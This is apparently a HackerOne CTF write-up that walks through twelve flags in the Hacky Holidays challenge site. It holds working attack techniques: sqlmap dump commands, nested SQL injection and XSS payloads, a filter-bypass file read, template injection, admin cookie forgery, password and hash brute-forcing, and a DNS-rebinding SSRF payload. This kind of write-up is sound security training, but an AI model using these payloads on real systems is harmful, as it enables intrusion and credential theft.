h1-ctf · Report #1069034
Grinchs website takendown with various other exploits
How it was found
The HackyHolidays
This is my first HackerOne CTF challenge writeup.
Contents:
(flag1): Day 1 (Check the files, robots.txt)
(flag2): Day 2 (one more :) jquery.min.js)
(flag3): Day 3 (People Rater)
(flag4): Day 4 (Brute Force, Swag Shop)
(flag5): Day 5 (Brute Force, Secure Login)
(flag6): Day 6 (Brute Force, My Diary)
(flag7): Day 7 (Brute Force, Hate Mail Generator)
(flag8): Day 8 (Brute Force, Forum)
(flag9): Day 9 (Brute Force, Evil Quiz)
(flag10): Day 10 (Brute Force, Signup Manager)
(flag11): Day 11 (Day 17th for me ;( ) (Brute Force, Follow the Link in Signup-Manager) Sheesh!!!
(flag12): Day 12 (TAKE DOWN GRINCH! Follow the Link provided in 11)
Flag 1
This was a fairly easy flag to find. As hacker instinct, the first place to look is the website's structure and that can be found in /robots.txt
Flag found:
img {F1138714}
Flag 2
This other flag is found in not so very traditional places. Like a good CTF player, I check for EXIF data in the images posted: grinch-keepout & grinch-networks, well nothing there. So I refreshed the page again and looked at one of the requests and saw one of the requests being made to jquery.min.js.
To save time, typed flag as a keyword in the response tab in the burp suite to find it, nothing. So I thought of going for a manual scavenger hunt, this snippet caught my attention.
, h1_0='la', h1_1='}', h1_2='', h1_3='f', h1_4='g', h1_5='{b7ebcb75', h1_6='8454-', h1_7='cfb9574459f7', h1_8='-9100-4f91-'; document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1); document.getElementById('alertbox').setAttribute('next-page', '/ap'+ 'ps'); function b(e, t, n) {
var r, i, o=(n=n||E).createElement("script"); if(o.text=e, t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r, i); n.head.appendChild(o).parentNode.removeChild(o)
}
The flag is distributed in the variables, so if you have time you can manually patch the variables together to get the flag
h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1
Or you can go a little smart and call the flag by its element from the console in dev tools. The call looks very difficult to understand but its nothing complicated, all you need to do is just call the flag with its elementId: alert box, like this:
console.log(document.getElementById('alertbox'))
Flag Found:
img {F1138715}
Flag 3
This one is also fairly easy. The new directory provided to look for /apps is the key.
(In the source however there are mysterious blank spaces)
One can only see how the people are rated by grinch in people-rater. There are names. But if you look closely in the responses for the people-rater you will notice that each person has an ID base64 encoded of course. First in the list "Tea Avery" happens to have an id eyJpZCI6MH0= which when decoded is {id:"2"}, I wonder who id:"1" is.
Flag Found: img {F1138715}
Flag 4
This flag is rather trivial if not difficult to find. Try and find a way to pull the Grinch's personal details from the online shop. As the hint gives away to find about grinch and bypass login. So the first thought is to look in the source code, nothing in there just some simple JQuery, with rather funny id names: alert alert-danger kind of throws me off the game, lol!. Anyhow the key here is an enumeration. Look at the API, so I guessed the user path sawg-shop/api/user. But it throws in the:
{
"error":"Missing required fields"
}
So I tried guessing params, nothing worked. So I ran Arjun a tool by som3d3v, to find missing params, luckily the UUID was the param I was looking for, what next? I thought of doing API brute-forcing. Using one of the seclist's API lists I ran it to the endpoint.....waiting.... It found another 200 OK response on sessions sawg-shop/api/sessions. There are various keys along with it, but there is one which is the longest which when decoded gives:
{
"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
}
Here we have got our UUID param value.
Flag Found:
img {F1138719}
Flag 5
I see another login page but this time the hint is very specific telling us to Try and find a way past the login page to get to the secret area.. As usual, I go on for looking at any hidden fields if any in the source code, nothing apart from yet another element named alert alert-danger. So another brute force? I mean the hint was very obvious since it was telling if the username is valid or not. Pulling down the longest username list, I start a brute force. Nothing found, actually, there was, I just forgot to put grep in place.
So user found: access what about the pass, I try again with a small list this time. 207p-probable password list, and coincidently it worked.
user: access
password: computer
What next, once logged in there is this message.:
No Files To Download
Looking around the page, nothing. Check the responses, I see a cookie, I attach the cookie and then take it to s3cr3t-ar3a, nothing. what's next? Took a closer look at the cookie, so I try to decode it:
{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":falsZX0%3D
Ah, so we need to fix the cookie. Fixing it with setting "admin":true} and refreshing it, we see the file:
my_secure_files_not_for_you.zip
I see a Zip file. At first, I thought it was a polyglot, but it's a normal zip file that is password protected. Another brute force? why not.
I download the fcrackzip program, to brute force the list. Seeing how the main concept of the CTF was to teach brute force and not to test our wordlists, I took a more conventional approach, rockyou.txt
fcrackzip -u -D -p rockyou.txt my_secure_files_not_for_you.zip
"hahahaha" it worked, I am the ultimate hacker.
No its the password hahahaha. It took like a second to break, so I was right the theme was to test brute force and not wordlist.
Flag found:
img {F1138721}
Flag 6
Day 6, flag 6. We need to find the missing todo in the calendar. The site seems very nice, of course, nothing Grinch worthy todo, lol.
So following the lines of previous CTFs, the only thing that seemed SUS(among us) /my-diary/?template=entries.html.
So drop your crocks and grab your socs, we have another brute force in our hand, Ffuf to rescue. Nope..... nothing.....
So my traditional wordlist failed, how about dirsearch, so I copied the dirsearch wordlist, fixed it with -D flag for FFuf to use and voila, __index worked. Very sneaky.
So the source finally reveals itself.
<?php
if( isset($_GET["template"]) ){
$page = $_GET["template"];
//remove non allowed characters
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
//protect admin.php from being read
$page = str_replace("admin.php","",$page);
//I've changed the admin file to secretadmin.php for more security!
$page = str_replace("secretadmin.php","",$page);
//check file exists
if( file_exists($page) ){
echo file_get_contents($page);
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
Very clever, so the admin.php is renamed to secretadmin.php and moreover they get filtered out from string replace method but the flaw is its not recursive, Ahh! a well-crafted payload.
img {F1138722}
So somehow, we need to come up with a file name, that when stripped out of these matching keyword admin.php and secretadmin.php.
The payload would look like: secretadmsecretadmadmin.phpin.phpin.php
secretadmsecretadmadmin.phpin.phpin.php =>
secretadmsecretadmadmin.phpin.phpin.php =>
secretadmsecretadmin.phpin.php => secretadmin.php
Flag found:
img {F1138723}
Flag 7
This was also one of the trickiest flags I came across (till now). We start with hate-mail-generator, so in this stage, we have two options we can either view the Guess What link or create a hate mail campaign of our own.
Hmm {{name}} & {{template: }} almost reminded me of Handlebars (a way of making dynamic webpages, where you would feed the variable names to a webpage of .hbs extensions). I knew something has to be up with it.
Also while reviewing the Create New, I noticed there were two furthermore possibilities, preview or create (this always showed, Sorry but you've run out of credits), and with preview the name was always set to Alice, because of one of the hidden input field:
<input type="hidden" name="preview_data" value='{"name":"Alice","email":"[email protected]"}'>
A usual directory brute force using 'dirseach' to rescue again. The directory found /templates, which just confirmed my suspicions of handlebars, usage. Now to solve the flag we need to include the admin header 38dhs_admins_only_header.html.
img {F1138725}
seeing the Guess what param it was clear that we have two ways of including the flag (name, template:), it seems 3 but the footer/header.html flags are the same.
{{template:cbdj3_grinch_header.html}} Hi {{name}}..... Guess what..... <strong>YOU SUCK!</strong>{{template:cbdj3_grinch_footer.html}}
using the way {{temaplte:38dhs_admins_only_header.html}} in create new via preview feature, nothing. The other variable name, which I changed from Alice, to {{temaplte:38dhs_admins_only_header.html}} which looked something like this and viola..
{"name":"{{template:38dhs_admins_only_header.html}}","email":"[email protected]"}
Flag Found:
img {F1138726}
Flag 8
Ohk, not gonna lie, this was something unexpected. I knew there were only two users, but the passwords, I didn't know.
A simple directory brute force scan on the CTF link, reveals another login page /phpmyadmin apart from the one /login. Time for some brute force, I took the small password lists and tried them with the combination of, but all in vain.
{
user: grinch
password: $checking$
}
and
{
user: max,
password: $checking$
}
Github source code, took some time to find it, after some hints from team-mates. The code looks clean and fine, but with recent commits. Inspecting further in the code, one can find 4 commits, go through each one by one, small fix caught my attention. The code snippet
img {F1138727}
I don't know PHP but after seeing DbConnect and several minutes of googling later, I thought of them being creds, so I tried logging in phpmyadmin page and it worked.
Navigating to the user's section, we can find both users and their passwords. But passwords are MD5 hash encrypted. No worries brute force to rescue.
img {F1138728}
Now, time to go back to /login page and log into Grinch's account.
Flag found:
img {F1138729}
Flag 9
On day 9, we find ourselves being tested by Grinch, no like literally, welcome to the evil quiz.
I begin my testing with directory brute-forcing, nothing of any particular interest actually. How about taking the evil quiz, doesn't allow a name less than 3 chars, also is sensitive to 'or; since on any other responses it would respond as There is 1 other player(s) with the same name as you! but in this, it responded with I am not evil and also There is 0 other player(s) with the same name as you! lol, I see, SQLi it is.
So, the name gets perfectly reflected in the quiz area, it's after the 302 Found redirect when it reflects any change. Interesting, so in order to get a reflection, we need to use both the requests, I see.
So I bring out every hacker's fav SQLmap... with a very difficult query
sqlmap -u https://hackyholidays.h1ctf.com/evil-quiz --data "name=archerl" -p "name" --method POST --second-url "https://hackyholidays.h1ctf.com/evil-quiz/score" --cookie="session=<YourCookie>" -D quiz --dump
It took like forever to end though, but it ended. So we have the creds from the very long SQLmap run
admin:S3creT_p4ssw0rd-$
Flag found:
Flag 10
We have another login, ever since the secure-login, I check for each stage's source code on Github lol. So we look at the source code while simultaneously running the directory brute forcing on the web app. => nothing.
so we check the page source, and it's easy to miss at first but we see the
<!-- See README.md for assistance -->
comment, very sneaky. So we download the README File.
https://hackyholidays.h1ctf.com/signup-manager/README.md
img {F1138732}
Reading the contents of the README.md file, a zip file is being mentioned, can we download a zip file? Yeah we can
https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip
img {F1138733}
So we have downloaded the zip file and let's see if we can see the contents of it. (Update: Adam, reuploaded the zip file, spent an hour questioning my abilities to read PHP code) anyhow the new zip file has more files now and particularly index.php caught my attention
so to be admin, we need a special cookie and the fact that user.php is available on sever that means admin.php has to be too, but to access that page we need a special cookie. How to get that cookie? as mentioned in README.md on line 6) You can make anyone an admin by changing the last character in the users.txt file to a Y and also in the code
if( isset($_COOKIE["token"]) ){
foreach( $all_users as $u ){
if( $u["cookie"] === $_COOKIE["token"] ){
if( $u["admin"] ){
$page = 'admin.php';
}else{
$page = 'user.php';
}
}
}
}
How to set the admin value in function build users as Y?
function buildUsers(){
$users = array();
$users_txt = file_get_contents('users.txt');
foreach( explode(PHP_EOL,$users_txt) as $user_str ){
if( strlen($user_str) == 113 ) {
$username = str_replace('#', '', substr($user_str, 0, 15));
$users[$username] = array(
'username' => $username,
'password' => str_replace('#', '', substr($user_str, 15, 32)),
'cookie' => str_replace('#', '', substr($user_str, 47, 32)),
'age' => intval(str_replace('#', '', substr($user_str, 79, 3))),
'firstname' => str_replace('#', '', substr($user_str, 82, 15)),
'lastname' => str_replace('#', '', substr($user_str, 97, 15)),
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
);
}
}
return $users;
}
img {F1138734}
The question was how? though...after a lot of brainstorming, I saw the intval() function.
if (!is_numeric($_POST["age"])) {
$errors[] = 'Age entered is invalid';
}
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
$age = intval($_POST["age"]);
How to overflow it though? I tried many values like 999, 1000 but it threw the 'Age entered is too long' because of the string length check.
After more brainStorming 1e5 so the input becomes something like this,
age=1e5 and lastname=YYYYYYYYYYYYYYYYYYYYYYYYYYYYY
so many Y's are there to ensure the value of admin is set to Y, in case of overflow. 1e5 is a scientific notation and blows up to 100000, thats the way to enlargen the user_string and push Y to 113 with last name.
Intercept the request and change the value of age and signup with new creds.
img17 {F1138735}
Voila!!
{F1138736}
Flag 11
This one by far was the most difficult one. I had to spring up a discord bot to keep track of the brute force.
So we go to the /r3c0n_server_4fdk59 on day 11, (for me its 30th December lol), We see /api as one of the endpoints, and some images arranged based on their years.
- So first thing first as every CTF player does, API enumeration (fuzzing) and ExifTool analysis on the images. => nothing
The images had a funny way of being fetched, they were rather base64 encrypted:
eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RiNTA3YmRiMTg2ZDMzYTcxOWViMDQ1NjAzMDIwY2VjLmpwZyIsImF1dGgiOiJiYmYyOTVkNjg2YmQyYWYzNDZmY2Q4MGM1Mzk4ZGU5YSJ9
once decrypted it looks something like this:
{"image":"r3c0n_server_4fdk59\/uploads\/db507bdb186d33a719eb045603020cec.jpg","auth":"bbf295d686bd2af346fcd80c5398de9a"}
So maybe this works like an auth? I attached it to my request as a cookie= token=<value> nothing.
API (part)
Upon visiting it we can notice there are a set of response codes and their meanings respectively.
There are two parameters we can try something on hash and data. I tried for XSS, and SSRF nothing. At last, I tied SQLi with SQLmap and it worked.
sqlmap -u "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k" --risk 3 --level 3
img19 {F1138737}
The dumps provide us with nothing new. Bummer!! What's next? I thought of using the payload in the browser.
I found a XSS thought this might get something lol, nothing
STEP 0: The SQli
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=hash=-7611%27%20UNION+SELECT%20NULL,NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27--%20-
After some hints in the server and Adam himself, it was clear that SQLi with an SQLi has to be used to get an auth token from the server, and then some more help from my fellow hacker in Hacker101 discord, it came down to brute-forcing the API but with new set of generated auths. In simple terms:
(SQLi, within an SQLi)
URL=https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=8291%27+UNION+SELECT+%22%27+union+select+1,2,%27../api/something%27%23%22,null,null%23
This link will generate a response that will have a nonexsisting image, which would look like this
<div class="col-md-4">
<img class="img-responsive" src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3NvbWV0aGluZyIsImF1dGgiOiJiNGQ4ZTEzOWNkMWY4N2U5YjRmY2QyNmM2MmUyNzQyZiJ9">
</div>
which when decoded is nothing but
{"image":"r3c0n_server_4fdk59\/uploads\/..\/api\/something","auth":"b4d8e139cd1f87e9b4fcd26c62e2742f"}
So every time URL is sent one has to extract the token from this img tag and send that again to search query in this fashion.
STEP 1: Take the fuzzed URL
URL= ...link...hash=8291%27+UNION+SELECT+%22%27+union+select+1,2,%27../api/FUZZ%27%23%22,null,null%23
STEP2: Send the request to the website, from the response fetch the value of data from the img tag (src value), and then send the request again to capture the response.
STEP3: Check for the response, we get "Expected HTTP status 200, Received: 400" as the response for most of the keywords, so the if the condition would be like anything but Expected HTTP status 200, Received: 404
img20 {F1138738}
Using this method, found out that there exists two paths, one user and other sleep which threw Invalid content type detected
img21 {F1138739}
So now we have a valid path, what's next? maybe there are more paths to it => Nothing
How about params? so the same URL as in STEP 1, but slight change.
STEP 4: Take the fuzzed URL
URL= ...link...hash=8291%27+UNION+SELECT+%22%27+union+select+1,2,%27../api/user?FUZZ%27%23%22,null,null%23
repeat step 2 and 3, with a change that we are now getting Expected HTTP status 200, Received: 400.
Using this method, found out that there exists two paths, one username and other password and sleep which threw Invalid content type detected
img22 {F1138740}
well now we have found two valid params, so I am assuming we need to fuzz for them as well. As a basic instinct, I tried for an SQLi -> nothing.
but the URL did seem to be funny for ' & % so I enumerated more, and came back to this stage after 3 days lol. So the catch is to use the alphabet appended by % that way one can guess whether or not the given word is a substring of the valid user or password.
like for any alphabet + % like a ...link...user?username=a%.. the response would be like Expected HTTP status 200, Received: 204, so as always we go for if condition where the response is anything but Expected HTTP status 200, Received: 204 and we find g% to be one of it. hmmm very interesting.
so the wordlist for this would go like?
STEP5
a,b,c.....g..............ga...........gr...gri..........grinch.....grinchadmin.......grinchadmina....grinchadminaa
so we know the user name is grinch, very funny... How about password? I am assmuing this would involve numbers, this ran for like a so long, lol. The wordlist looked like
STEP6
a,b,c,d,e,..s...s1,s2,s3,s4....s4t.....you know it finally ended on s4nt4sucks, typical Grinch!
grinchadmin:s4nt4sucks
So finally we have the ID and password lets go to the login in /attack-box, took me 7 days to figure this one out.
Flag found:
img23 {F1138741}
Flag 12
And finally few hours before the final deadline for the report submission, I try the flag 12.
We have the Santa's IP addresses, like previous flag this also has some wierd URL fetch as well. The base64 encoded value, I wonder what it could be.
hash:
eyJ0YXJnZXQiOiIyMDMuMC4xMTMuNTMiLCJoYXNoIjoiMjgxNGY5YzczMTFhODJmMWI4MjI1ODUwMzlmNjI2MDcifQ==
decoded looks like this:
{"target":"203.0.113.53","hash":"2814f9c7311a82f1b822585039f62607"}
Hmmm, now as per HackerOne's tweet the hint is hash and the salt! so after brief thinking and playing with the hash, I tried finding out the salt using the brute force methodology. Hashcat to the rescue! we know what the hashes are for (assuming IPs, since its the only logical thing) and the salted hash. Using the wordlist rockyou.txt, it was matter of seconds for the hash to break.
img24 {F1138742}
mrgrinch463 is the salt. what next? we need to DOS Grinch right? we are on Santa's side. We need to encrypt the 127.0.0.1 address with salt to destroy ourselves (grinch's server).
using this website we get the slated hash value.
img25 {F1138743}
Time to generate the payload.
{"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"}
The Grinch's server identified it as the localhost and abandoned the attack... so lets try IPv6 versioning, "localhost" => nothing!
After several hints later in the discord channel, someone recommended the YouTube video of Watch owning the clout from Nahamsec and daeken.... DNS rebinding it is, still little shaky on the concept and several more hints later, but I knew what to do. Something on the grounds of, like xcy.com redirects to 127.0.0.1 like so 127.0.0.1 is blocked ...but a random domain is not, so that passes the localhost check...but if the domain later redirects to localhost, it will attack it.
img26 {F1138744}
After generating the URL for attack and respective hash
{"target":"01020304.7f000001.rbndr.us","hash":"69c31cdcfad3ef1deb652f4aca52d2cc"}
encoded base64 version
eyJ0YXJnZXQiOiIwMTAyMDMwNC43ZjAwMDAwMS5yYm5kci51cyIsImhhc2giOiI2OWMzMWNkY2ZhZDNlZjFkZWI2NTJmNGFjYTUyZDJjYyJ9
It doesn't work the first time and second time it redirects to 1.2.3.4.... hmmm
img27 {F1138745}
Time to attack the Grinch again! but wait for 15 seconds...lol
So the 4th time the payload works and voila!
Flag Found:
img28 {F1138746}
Conclusion
The CTF was not very easy, specially the last ones, but it was a thrill ride! Learned many things, intreacted with many talented people.
Kudos to Adam and Ben for such a creative CTF! hats off!! I would love to win the best report challenge but I am content with the h1-ctf badge as well :)
Impact
Holidays Saved!